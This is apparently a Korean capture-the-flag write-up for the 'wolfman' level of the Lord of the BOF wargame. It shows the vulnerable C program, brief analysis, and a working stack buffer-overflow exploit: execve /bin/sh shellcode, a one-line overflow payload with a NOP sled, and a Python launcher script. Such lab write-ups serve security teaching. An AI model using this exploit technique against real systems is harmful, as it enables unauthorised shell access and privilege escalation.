[LOB]Level05. wolfman

 

+ BufferHunter

orc / cantata


/*
        The Lord of the BOF : The Fellowship of the BOF
        - wolfman
        - egghunter + buffer hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}
	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

    // buffer hunter
    memset(buffer, 0, 40);
}

0x01. Analysis

orc문제와 똑같아 보이지만 마지막에 buffer hunter라고 해서 buffer배열의 40byte를 0으로 초기화하는 코드가 추가되었다.

앞서 orc문제에서 buffer배열에 Shellcode를 넣는 방법과, RET주소 뒤에 Stack영역에 Shellcode를 넣는 방법으로 문제를 풀어보라고 했었다.

  • buffer 배열 크기 40byte
  • RET 첫 1byte ‘\xbf’로 시작
  • strcpy를 이용하여 argv[1] 인자 값을 buffer 배열로 복사
  • buffer 배열 40byte 0으로 초기화

이 문제는 buffer배열을 초기화 하기 때문에 RET주소 뒤에 Stack영역에 Shellcode를 넣어서 풀면 될것 같다.

argv[1] 주소를 이용해서 문제를 푸는 방법도 있다. buffer배열이 0으로 초기화 되지만, argv[1]의 값을 저장하고 있는 스택 공간은 초기화되지 않기 때문…


0x02. Exploit

shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

orc문제 풀이와 동일하기 때문에 상세 내용은 생략한다.

쉘코드가 넣을 주소를 알기 위해 core를 떨구자.

“S”부분이 쉘코드 24byte가 들어갈 자리이다.

0xbffffa64부분 언저리주소를 RET에 넣으면 NOP슬라이드를 타고 Shellcode가 실행된다.

[orc@localhost orc]$ ./wolfman `python -c 'print "A"*44+"\x64\xfa\xff\xbf"+"\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

import os
import struct

append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)

target = "/home/orc/wolfman"

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
shellcode_addr = 0xbffffa64

payload = "\x90"*44
payload = append(p32(shellcode_addr))
payload = append("\x90"*50)
payload = append(shellcode)

pid = os.fork()

if pid == 0:
        os.execv(target, (target, payload))
else:
        os.waitpid(pid, 0)